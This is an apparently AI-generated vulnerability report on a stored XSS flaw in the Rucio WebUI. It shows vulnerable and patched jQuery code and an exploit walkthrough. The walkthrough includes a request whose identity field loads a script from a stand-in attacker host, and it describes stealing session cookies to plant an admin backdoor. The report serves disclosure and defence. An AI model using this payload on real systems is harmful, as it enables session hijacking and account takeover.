CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25735
6.10.04%

Rucio WebUI: When Scientific Data Management Meets Unsanitized jQuery

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 25, 2026·6 min read·6 visits

PoC Available

Executive Summary (TL;DR)

The Rucio WebUI fails to sanitize user input before rendering it with jQuery's `.html()` method. This allows attackers to store malicious JavaScript in account profiles. When an admin views the profile, the script executes, allowing for session hijacking and admin account takeover due to weak cookie protections.

A critical Stored Cross-Site Scripting (XSS) vulnerability was discovered in the Rucio WebUI, the interface for the open-source scientific data management framework used by major research institutions. The flaw stems from the insecure use of jQuery manipulation methods—specifically `.html()`, `.append()`, and `.after()`—to render user-controlled data retrieved from the backend API. By injecting malicious JavaScript into the 'Identity Name' field of an account, an attacker can persist a payload that executes in the browser of any administrator who views that account's details. The impact is exacerbated by a lack of defense-in-depth measures: session cookies lack the `HttpOnly` flag, and authentication tokens are exposed as global variables, making full account takeover trivial.

The Hook: Big Data, Big Targets

Rucio is the heavy lifter of the scientific world. Originally developed for the ATLAS experiment at CERN, it manages exabytes of data across heterogeneous distributed environments. It's the kind of software that underpins the discovery of new particles and the mapping of the universe. Naturally, you'd expect the security protecting this beast to be as robust as a bank vault.

However, like many backend-heavy infrastructure projects, the frontend WebUI seems to have been built with functionality first and security as a 'nice-to-have' afterthought. While the backend handles complex orchestration, the WebUI provides a convenient dashboard for administrators to manage accounts, identities, and rules.

This specific vulnerability targets that convenience. It turns the administrative dashboard—the very cockpit used to steer this massive data ship—into a trap. By exploiting a fundamental misunderstanding of how jQuery handles DOM manipulation, we can turn a simple text field into a weaponized entry point for remote code execution within the browser context.

The Flaw: jQuery's Fatal Convenience

The root of CVE-2026-25735 is a classic tale of developer convenience over security. In the world of jQuery, there are two primary ways to put text into an element: .text() and .html(). The former is safe; it treats everything as a string literal. The latter is dangerous; it parses the string as HTML.

Developers love .html() (and its cousins .append() and .after()) because it allows them to construct UI elements dynamically with ease. Need to show an error message with a bold warning? Just pass "<b>Error:</b> " + message. It's quick, it works, and it's a security nightmare if message comes from a user.

In Rucio's case, the WebUI was fetching account identities from the backend API and shoving them directly into the DOM using these unsafe methods. The application assumed that because the data came from its own database, it was safe. This is the 'Trusted Source' fallacy. Just because the data comes from your API doesn't mean it wasn't put there by an attacker.

The specific failure point was in the Account Management interface. When rendering the list of identities associated with an account (like SSH keys, X.509 DNs, or usernames), the code took the identity string and rendered it raw. This meant that <script>alert(1)</script> wasn't displayed as text—it was executed as code.

The Code: Rendering the Poison

Let's look at the smoking gun. The vulnerability existed in multiple JavaScript files handling UI logic, but account.js is the prime example. Here is a simplified view of how the vulnerable code handled data ingestion prior to the patch.

// VULNERABLE CODE PATTERN
// The 'identity' variable comes directly from the API JSON response
$.each(data, function(index, identity) {
    // The .append() method parses HTML strings
    $('#identity_table').append(
        '<tr><td>' + identity.name + '</td><td>' + identity.type + '</td></tr>'
    );
});

When identity.name contains <img src=x onerror=alert(1)>, jQuery parses the string, creates the DOM elements, and the browser immediately attempts to load the image, firing the error handler.

The fix implemented by the Rucio team was a scorched-earth migration away from these sinks. They switched to using .text() for text content and strictly controlled element creation for structure.

// PATCHED SECURE CODE
$.each(data, function(index, identity) {
    var row = $('<tr>');
    // .text() automatically encodes HTML entities
    var nameCell = $('<td>').text(identity.name);
    var typeCell = $('<td>').text(identity.type);
    
    row.append(nameCell).append(typeCell);
    $('#identity_table').append(row);
});

Notice the difference? In the secure version, the browser never gets a chance to interpret identity.name as HTML tags. It is strictly treated as text content.

The Exploit: From Input to Admin Takeover

Exploiting this is trivially easy, but the impact is where it gets interesting. This isn't just about popping an alert box; it's about persistence and privilege escalation.

Step 1: The Setup First, we need to inject the payload. We need a user account that can add identities (or we compromise a low-level user). We send a POST request to the Rucio API:

POST /proxy/accounts/victim_account/identities HTTP/1.1
Content-Type: application/json
 
{
  "identity": "<img src=x onerror=$.getScript('https://attacker.com/hook.js')>",
  "authtype": "SSH",
  "email": "trap@example.com"
}

Step 2: The Trap The backend dutifully saves this string. It validates the format of the request, but it doesn't sanitize the string content because it assumes the frontend will handle display logic.

Step 3: Execution & Escalation An administrator logs in to investigate an issue with the 'victim_account'. The moment the page loads, the payload executes. Rucio's WebUI had two critical secondary failures that turn this into a catastrophe:

  1. No HttpOnly Cookies: The session cookie is accessible via JavaScript. Our script can simply read document.cookie and exfiltrate the session ID.
  2. Global Token Exposure: Even worse, the application often stored the Auth Token in a global variable or accessible scope to make API calls easier.

A sophisticated payload wouldn't just steal the cookie; it would use the victim's session to create a new admin identity for the attacker, effectively creating a permanent backdoor.

The Mitigation: Defense in Depth

Fixing the immediate bug is simple: stop using .html() with untrusted data. But if you want to actually secure the application, you need to layer your defenses. The Rucio team did the right thing by patching the sinks, but for those running similar architectures, here is the playbook.

1. Context-Aware Output Encoding Never concatenate strings to build HTML. Use framework-provided bindings (React/Vue/Angular handle this automatically) or use safe DOM creation methods like document.createElement or jQuery's .text(). If you must render HTML (e.g., Markdown comments), use a sanitization library like DOMPurify.

2. HttpOnly Cookies There is rarely a good reason for client-side JavaScript to read session cookies. Set the HttpOnly flag on all session identifiers. This mitigates the impact of XSS by preventing cookie theft (though it doesn't stop requests forged within the browser).

3. Content Security Policy (CSP) A strong CSP is the ultimate safety net. A policy like default-src 'self' would have prevented the inline event handler (onerror=...) from firing and blocked the loading of external scripts. It turns a critical RCE-in-browser into a benign rendering glitch.

Official Patches

RucioOfficial GitHub Security Advisory

Fix Analysis (1)

Technical Appendix

CVSS Score
6.1/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Rucio WebUI < 35.8.3Rucio WebUI 36.x - 38.5.3Rucio WebUI 39.x - 39.3.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
Rucio WebUI
Rucio
< 35.8.335.8.3
Rucio WebUI
Rucio
>= 36.0.0rc1, <= 38.5.338.5.4
Rucio WebUI
Rucio
>= 39.0.0rc1, <= 39.3.039.3.1
AttributeDetail
CWE IDCWE-79
CVSS v3.16.1 (Medium)
Attack VectorNetwork
Privileges RequiredHigh (or Low if attacking Admin)
User InteractionRequired
Exploit MaturityPoC Available

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
T1552Unsecured Credentials
Credential Access
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Known Exploits & Detection

ManualPayload injection into Identity Name field causing XSS on account view.

Vulnerability Timeline

Frontend remediation commits merged
2026-02-05
Public Disclosure & Patch Release
2026-02-25

References & Sources

  • [1]Rucio GitHub Repository
  • [2]Rucio Project Homepage

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.